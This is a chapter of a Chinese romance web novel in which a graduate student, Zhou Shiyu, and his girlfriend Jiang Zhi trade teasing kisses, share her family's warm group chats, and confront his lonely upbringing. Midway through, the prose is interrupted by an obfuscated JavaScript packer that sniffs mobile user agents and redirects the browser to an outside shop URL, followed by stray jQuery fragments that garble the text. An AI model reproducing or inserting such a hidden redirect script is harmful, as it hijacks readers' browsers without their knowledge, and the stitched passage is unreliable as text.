清早醒来，周时屿发现了一件吓人的事。


    起床洗漱的时候，他看见在脖颈的左侧，接近锁骨处，有一个口红印。


    口红印，还是在酒店，怎么看都是不伦的象征。他双手撑着洗手台，心乱如麻，仔细回忆有没有醉酒断片的可能。


    昨晚姜知逛累了，睡得很早，他洗完澡后又工作了会，期间问前台要了杯黑咖啡提神，没有喝过酒。


    姜知现在不在房间，立刻销毁罪证会不会有点做贼心虚？但是没有犯罪，又哪来的罪证？


    “早上好。”滴滴的刷卡声响起，姜知走进门，手里提着几袋早餐。


    周时屿转身，手不自觉地挡在口红印前：“早。”


    姜知指着他的手：“这是什么？”


    “没什么。”周时屿回答，眼神飘忽。


    当姜知把那只手移开，他连脖子都红了：“我晚上一直在房间办公……没有出过门。”


    “哈哈哈……”


    对面的姜知笑出了声。


    “笨啊，”姜知指了指自己的嘴唇，“像不像？”


    周时屿点头。


    她把衣领拉下，提议道：“你也给我留一个怎么样？”


    周时屿的心跳得很快，还沉浸在前面的惊恐中，于是脱口而出：“也要口红吗？”姜知实在受不了了在一旁捧腹大笑。


    姜知凑过来，将目光放柔：“意思是让你亲，多用力都可以。”


    针织毛衣被她拽着，露出一小截白皙的脖颈。他将柔软的唇覆在上面，还是没舍得用力，但姜知注意到，起身的时候咬了她一下，不重，却是某个习惯初见端倪的开始。


    “怎么还咬人！”


    “你身上的洗衣液味太香了，抱歉。”


    “洗衣液味？”姜知重复一遍，心里已经了然，却没纠正。


    “想不到学长这么纯情啊。”把她衬得罪恶感满满也不知道怎么回事。


    周时屿没说话，姜知便故意说：“我也要咬回来。”


    周时屿看着未消的牙印，还是有点心虚，坐近了一点：“嗯。”


    姜知：“开玩笑的，我才没有这种恶趣味。”


    听见“恶趣味”，他的脸更红了，头也低下来。


    “我的趣味当然更恶啊。”说完就搂着他一顿狂亲，直到唇彩完全掉了色，留下几个擦不掉的口红印。


    下午，周时屿顶着一大早的“罪证”走进实验室，在周围人的目光洗礼下，从容坐下。


    一丝不苟的实验服，加上醒目的草莓印。


    但他本人没有丝毫遮掩的意思。


    他和往常一样专注地实验，结束后面无表情地去交报告，头发花白教授的微微颔首，忍不住抬眼打量，扶了扶眼镜，颇有另眼相看的意思。


    “小周你……昨晚挺激烈啊。”


    周时屿纠正：“不是，是今天早上。”


    把教授吓得后退了半步。


    他轻咳一声：“年轻人，还是要节制。”


    周时屿说了句谢谢。


    -


    接近正午，阳光拖拽出长长的树影，没课的午后悠闲又难得。


    姜知看着手机的屏幕发呆。她有很多想去的地方，中心广场的长椅，后山的银杏林，甚至普通的花坛都想拉周时屿去走一圈，在她眼里这样花坛才没有白建。


    但周时屿着实是个大忙人。


    姜知：「西门新开了一家甜品店，我们去那打卡吧」


    周时屿：「抱歉，还有工作要处理。」


    十次约他出门八次都是这样。


    姜知关上手机，郁闷则已，并不生气，因为周时屿会默许她在旁边待着，或是动手动脚，或是安静地当个挂件。他把她圈在中间，胸口起伏着，有规律的键盘声成了她午睡的白噪音。


    几米之外就有一间堆满抱枕的卧室，周时屿专门整理了间客房出来，那才是留给姜知休息用的。


    “我怕黑，我不敢一个人在里面。”


    但只要姜知说完这话，周时屿就会二话不说地搂住她，轻拍她的后背作为安慰，屡试不爽。


    -


    那天，姜知结束了一天的课，心情大好，哼着歌回群聊的消息。屏幕上飞快滚动的是同一张照片，周时屿在休息的间隙看清了。


    “那是我？”


    看他难以置信的样子，姜知忍俊不禁：“对啊，是你。”


    姜燕书不知从哪找到了周时屿高考后采访的图片，画面中的他穿着校服，像午睡到一半被拉来的，睡眼朦胧，还是好看得不像话。审美或许有个人差异，但7字开头的高考成绩，直接让他在长辈那帅出了好几个层次。


    然后，那张青涩版的周时屿就在家族群里代代相传了。变成小辈们的择偶准则，鞭策他们好好读书的秘方。


    有时他们牵着手，姜知也会拍下来发到另一个名为“一家三口”的群聊里。


    想吃大米饭：「已读。你敢不幸福他就死定了」


    惟：「般配般配般配x200」


    想吃大米饭：「小惟我也有［牵手照］［龇牙］」


    想吃大米饭：「人呢？」


    ……


    于光：「我去一中交流时好像见过他，很优秀，最近c市降温，你们都要注意保暖。」


    明天更好：「喜结连理［点赞］」


    小姜知道：「谢谢外公［玫瑰］」


    ……


    姜知一条条翻给他看，都是一些闲谈，亲切而温暖的话语。


    周时屿放下手中的鼠标，奇妙的感受，他半天没有缓过来。


    尤其是看见姜母寄来了亲手织的手套，还叮嘱姜知“你和小周一人一双”时，那微小的、陌生的情绪汇成了一股暖流，淌过他干涸已久的内心。


    “好奇妙，姜知。”周时屿说了句心里话。


    姜知得意地把脑袋靠在他下巴：“是不是后悔没有早点和我表白？”


    周时屿摇头，认真地说：“是遇见你。”


    “是啊，像我这么好的人可不多了。”


    说完姜知反应过来，她爸妈确实很好，但也就是来自长辈正常的关怀吧？她早就知道他和家人的关系不好，非但如此，好像连朋友也很少提起过。姜知拉过周时屿的手，试探地问：“那我在你这有没有名分？”


    周时屿垂眸：“我没有可以告诉的人。”


    姜知略略诧异：“前学长不算吗？”


    “不算。”


    “那……”姜知倒是真的想不起来别人了。


    交朋友对她来说不算难事，毕竟深入了解过后，很少有人会不喜欢姜知。


    她握紧周时屿的手，不知道为什么，天然地认为他应该有很多朋友。他们这种风云人物、学霸天才，不是从来都众星捧月吗？小说里不都这样写——半句话不说就收获爱和鲜花的天之骄子。


    怎么周时屿就不一样呢。


    倒也没有不信，只是他无措的样子也让她无措，明明只是随口一问。


    而周时屿沉默下来，姜知按着他的手掌，一点一点打着圈轻揉，她在安抚他。


    安抚。人和人之间也许存在无形的屏障，就像不同介质在密度排列下产生距离。而打破屏障只需要一瞬间，距离就是在格外小的事上拉近的。


    小的时候，刚学会写“屿”字，他就问过母亲，我的名字有什么含义？


    邹美华回答，没有含义。


    语气平静得淡漠，害怕牵扯出大人间的往事，他没有再问了。


    也许人如其名，他就是一座孤岛。一个班上的人，出于外貌靠近他的人，迟早会在尴尬的对话后去找别的朋友。


    -


    可是，没有人是一座孤岛。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992541|193783||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    听完周时屿的自述，姜知带着担忧的语气，对他说：“或许他们并不坏呢？就像我一样，虽然没有我好得这么明显。”


    眼里写满了纯粹的可惜，像在为那些独自一人的时光抱不平。


    嗯，周时屿心想，你最好。


    好到他时常觉得，姜知和谁在一起都能幸福。因为带来幸福的不是恋爱或婚姻，是姜知本人。


    他就着现在的姿势低下头，环住她的腰，姜知立刻反抱住。肌肤相贴不止带来依靠，他发觉一刻也不想离开，想要无限延续下去——安静的房间内，跳动着的两颗心。


    “算了没事，你还有我。”姜知拍了拍他的手。眼皮开始打架，像真的困了。


    姜知闭上眼，就这样趴在他肩上，呼吸渐渐平稳。


    周时屿轻轻笑了一声，笑容中染上涩意，不想离开意味着什么？


    他明明习惯预设失去，确定这件东西、这件事消失在生活里是能接受的，才会同意自己拥有。


    可姜知是那个意外。


    -


    和看上去的刀枪不入正好相反，周时屿活得比谁都小心翼翼。


    他青春的构成就是一个接着一个的意外，好不容易能走向理想中的光明未来，母亲病了，病例上的白纸黑字表示，和从前疾病的性质不一样，需要很多钱。彼时他陷入两难，q大的学业注定繁忙。


    就在这时，他看见了h大——学费全免，并且愿意给一大笔堪称救命钱的奖学金。于是想也没想，直接把这所学校填在了第一志愿。


    母亲又哭了很久，握着他的手说对不起，我们对不起你。


    语言是社会文化的产物，他学会的第一句话，不是爸爸、妈妈，而是对不起。


    周时屿仍然记得，有次终审答辩抽到的题目是关于合群。


    太奇怪了，能够站在理论和社会学角度侃侃而谈的人，从小到大，就没有合过群。


    孤僻当然不是件好事，但他没精力去维持一段或几段多余的人际关系了。疲惫之余是害怕——那些可能会伤害到自己的恶意，确切存在过的恶意。


    初中那会，有个高年级的学姐送了他一件价值不菲的礼物，周时屿正好被叫去办公室填表单，转眼就有人举报他贫困生身份作假。


    流言四起，打工的事被捏造成拿着学校资助流连红灯区，但周时屿没想抗争，反正人们总对他有很多想象，不缺这一件两件了。他不想因此惹到麻烦。


    大人对他的教育一直是：“你不能当个麻烦。”


    ……


    他不敢去问姜知更多想知道的问题。


    比如：你会喜欢我多久？你有一天也会离开吗？你喜欢的是真实的我吗？


    同样很可能带来麻烦。


    “学长……”姜知在他怀里翻身，嘟囔着。


    “嗯？”他凑过去听。


    姜知笑得很恣意：“我不说梦话啊，上当了吧！”


    周时屿轻笑：“上当了。”


    姜知抬头，飞快地在他耳朵上方亲了一下。


    “上当了还不快睡。”然后周时屿被拉着一起躺下，枕着柔软的被褥，相拥而眠。


    -


    是夜，有人的心事发酵，有人久久没有入睡。


    一盏夜灯驱散黑暗，照出床边的轮廓。


    经过几次同床共枕，姜知发现，周时屿的睡相非常好。


    躺下后连翻身都少有，可以说是教养，也可以是某种刻进骨子里的规训，她本能地觉得是后者。


    似乎在梦里都不能彻底放松，用蹙起的眉，对抗着仿佛习以为常的梦魇。


    那就尽可能让你多开心一点吧。姜知轻点了一下他的眉心，因为接近她的人，都是会感受到开心的。


    她轻吻面前人的唇角，才刚碰上，就被抱得更紧。


    原来不止一人没有入睡。